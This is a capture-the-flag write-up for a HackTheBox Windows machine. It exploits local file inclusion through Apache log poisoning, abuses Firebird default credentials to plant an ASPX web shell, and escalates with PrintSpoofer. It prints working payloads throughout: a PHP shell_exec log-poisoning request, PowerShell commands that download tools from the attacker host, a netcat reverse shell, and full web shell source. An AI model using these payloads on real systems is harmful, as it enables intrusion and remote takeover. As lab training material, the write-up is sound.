Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
For this challenge, we are given a PHP application on the port 8080 hosted on Windows:
User flag
By analyzing the form of the links included on the home page, we notice a LFI (Local File Inclusion) vulnerability:
$ curl 'http://10.129.95.158:8080/' -s | grep '.php' -C3
</header>
<!-- Signup Form -->
<form id="signup-form" method="post" action="process.php?path=submit.php">
<input type="email" name="email" id="email" placeholder="Email Address" />
<input type="submit" value="Sign Up" />
</form>
We confirm it by trying to include well-known Windows files such as C:\Ẁindows\System32\drivers\etc\hosts
.
By fuzzing files and directories, we also discover the file info.php that calls the function phpinfo()
:
$ ffuf -D -u http://10.129.95.158:8080/FUZZ -w dicc.txt -t 10 -fc 403
[...]
LICENSE.txt [Status: 200, Size: 17128, Words: 2798, Lines: 64]
README.TXT [Status: 200, Size: 2242, Words: 282, Lines: 67]
assets [Status: 301, Size: 241, Words: 14, Lines: 8]
assets/ [Status: 200, Size: 362, Words: 27, Lines: 15]
images/ [Status: 200, Size: 216, Words: 19, Lines: 11]
images [Status: 301, Size: 241, Words: 14, Lines: 8]
index.html [Status: 200, Size: 1565, Words: 97, Lines: 46]
info.php [Status: 200, Size: 66067, Words: 3239, Lines: 705]
We first thought we had to exploit the race between the path of temporary uploaded files (disclosed by phpinfo ) and the LFI vulnerability in order to make the application include our temporary uploaded PHP file and achieve remote code execution.
However, it turned out we can also include Apache access logs:
$ curl 'http://10.129.95.158:8080/process.php?path=C:/Apache24/logs/access.log' -s | head
10.10.14.9 - - [06/Jul/2021:01:16:28 -0700] "GET / HTTP/1.1" 200 1565
10.10.14.9 - - [06/Jul/2021:01:30:08 -0700] "GET /process.php?path=c:\\windows\\win.ini HTTP/1.1" 200 92
10.10.14.9 - - [06/Jul/2021:01:36:41 -0700] "GET /process.php?path=c:\\windows\\win.ini HTTP/1.1" 200 92
10.10.14.9 - - [06/Jul/2021:01:59:14 -0700] "GET /process.php?path=\\\\10.10.14.9\\aSD HTTP/1.1" 200 -
10.10.14.9 - - [06/Jul/2021:03:11:25 -0700] "GET /process.php?path=\\\\10.10.14.9\\aSD HTTP/1.1" 200 -
10.10.14.9 - - [06/Jul/2021:03:58:06 -0700] "GET / HTTP/1.1" 200 1565
10.10.14.9 - - [06/Jul/2021:03:58:07 -0700] "GET /assets/css/main.css HTTP/1.1" 200 22801
In that case, we can poison the access logs and make the application include it to execute arbitrary PHP code. As only the requested path is reflected on the access logs, we poisonned the logs by using PHP shorter tags with a spaceless payload by sending the following HTTP request:
GET /?path=<?=die(shell_exec($_GET['cmd']));?> HTTP/1.1
Host: 10.129.164.169:8080
We could then execute arbitrary commands by making the application include the poisoned logs:
$ curl 'http://10.129.95.158:8080/process.php?path=C:/Apache24/logs/access.log&cmd=whoami' -s | tail -n1
10.10.14.65 - - [26/Jul/2021:15:42:40 -0700] "GET /process.php?path=fire\dev
From there, we can retrieve the user flag:
$ curl 'http://10.129.95.158:8080/process.php?path=C:/Apache24/logs/access.log&cmd=type+C:\Users\dev\Desktop\user.txt' -s | tail -n1
10.10.14.65 - - [24/Jul/2021:07:03:50 -0700] "GET /process.php?path=HTB{DoN7_S7e4L_My_N7lm}
By reading the logs and the flag, we concluded that this was an unintended solution. In fact, the intended way was to exploit SMB paths that are not considered remote files by PHP in order to trigger an SMB connection, and break the NTLM challenge to obtain a user access to the target.
Root flag
Before searching for the next steps, we launched a reverse shell by downloading and executing a pre-built netcat:
$ python3 -m http.server 8080 --bind 10.10.14.65
Serving HTTP on 10.10.14.65 port 8080 (http://10.10.14.65:8080/) ...
10.129.95.158 - - [27/Jul/2021 00:47:57] "GET /nc.exe HTTP/1.1" 200 -
GET /process.php?path=C:/Apache24/logs/access.log&cmd=<@urlencode>powershell curl http://10.10.14.65:8080/nc.exe -o nc.exe<@/urlencode> HTTP/1.1
Host: 10.129.164.169:8080
GET /process.php?path=C:/Apache24/logs/access.log&cmd=<@urlencode>nc.exe 10.10.14.65 9999 -e powershell.exe<@/urlencode> HTTP/1.1
Host: 10.129.164.169:8080
$ nc -nlvp 9999
listening on [any] 9999 ...
connect to [10.10.14.65] from (UNKNOWN) [10.129.95.158] 49676
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Apache24\htdocs>
Note: @urlencode
tags are handled by the Burp Suite's Hackvertor extension that automatically replaces each enclosed content with its URL encoded version.
The current user does not have useful privileges, so we search for running services and we notice the Firebird service:
PS C:\Program Files> dir
dir
Directory: C:\Program Files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/5/2021 7:18 AM Apache Software Foundation
d----- 7/5/2021 6:59 AM Common Files
d----- 7/5/2021 4:35 AM Firebird
PS C:\Program Files\Firebird> netstat -aon
netstat -aon
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 888
[...]
TCP 10.129.95.158:139 0.0.0.0:0 LISTENING 4
TCP 10.129.95.158:8080 10.10.14.65:59178 CLOSE_WAIT 2076
TCP 10.129.95.158:49676 10.10.14.65:9999 ESTABLISHED 4692
TCP [::]:80 [::]:0 LISTENING 4
TCP [::]:135 [::]:0 LISTENING 888
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:3050 [::]:0 LISTENING 2360
This service is only listening on the IPv6 address and on the TCP port 3050.
After reading the interesting blog post Firebird Database Exploitation, we deduce that we can exploit the Firebird feature that allows creating files under the IIS web applications directory, which is C:\inetpub\wwwroot
.
In fact, as IIS is listening on the TCP port 80, as shown on the Nmap scan result, if we can execute arbitrary code under the IIS service account, we could use its SeImpersonate
privilege in order to escalate our privileges and gain local Administrator privileges.
In order to perform network pivoting and to exploit the service only listening on IPv6, which is not exposed by the HackTheBox VPN, we setup a SOCKS server:
$ GET /process.php?path=C:/Apache24/logs/access.log&cmd=<@urlencode>powershell curl http://10.10.14.65:8080/revsocks.exe -o revsocks.exe<@/urlencode> HTTP/1.1
Host: 10.129.164.169:8080
$ ./revsocks -listen 10.10.14.65:9090 -pass 24098219308429084219084
GET /process.php?path=C:/Apache24/logs/access.log&cmd=<@urlencode>revsocks.exe -connect 10.10.14.65:9090 -pass [...]<@/urlencode> HTTP/1.1
Host: 10.129.164.169:8080
From there, we can use the Firebird SQL tools in order to communicate with the service through the SOCKS proxy. We notice the default credentials SYSDBA:masterkey
are working:
$ apt install firebird3.0-utils
$ proxychains isql-fb
SQL> CONNECT [::1]/3050:a user 'SYSDBA' password 'masterkey';
[proxychains] Strict chain ... 127.0.0.1:1080 ... ::1:3050 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... ::1:3050 ... OK
Statement failed, SQLSTATE = 08001
I/O error during "CreateFile (open)" operation for file "a"
-Error while trying to open file
-The system cannot find the file specified.
SQL>
Then, we can use the database differential backup mode of Firebird, as stated in the blog post, in order to make the service create a file on the IIS working directory that contains an ASPX web shell:
> CREATE DATABASE '[::1]/3050:C:\non-existent-file33' user 'SYSDBA' password 'masterkey';
[proxychains] Strict chain ... 127.0.0.1:1080 ... ::1:3050 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... ::1:3050 ... OK
CREATE TABLE a( x blob);
ALTER DATABASE ADD DIFFERENCE FILE 'C:\inetpub\wwwroot\foo242424.aspx';
ALTER DATABASE BEGIN BACKUP;
INSERT INTO a VALUES ('<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>');
COMMIT;
EXIT;
Once the backup file is created and the web shell is written, we are able to execute arbitrary commands as the IIS user:
Finally, we create a reverse shell by using the same netcat pre-built binary and we use the PrintSpoofer technique in order to obtain and reuse a system user token to escalate our privileges by using the SeImpersonate
privilege, and read the flag:
$ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.10.14.65] from (UNKNOWN) [10.129.95.158] 49683
Microsoft Windows [Version 10.0.17763.1999]
(c) 2018 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv> cd C:\Windows\Temp
C:\Windows\Temp> powershell curl http://10.10.14.65:8080/printspoof.exe -o pspoof.exe
C:\Windows\Temp>pspoof.exe -i -c powershell.exe
pspoof.exe -i -c powershell.exe
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
whoami
nt authority\system
PS C:\Windows\system32> type C:/Users/Administrator/Desktop/root.txt
type C:/Users/Administrator/Desktop/root.txt
HTB{Ph0EN1X_R1SEN_Fr0M_7he_4sHeS}
Conclusion
Overall, the challenges were quite enjoyable, most of them were based on real-word scenarios/vulnerabilities. The fact that each team had a dedicated infrastructure with their own Docker instances was much appreciated.
Thanks a lot to HTB staff for creating this event!
You can find more writeups on our Github repository.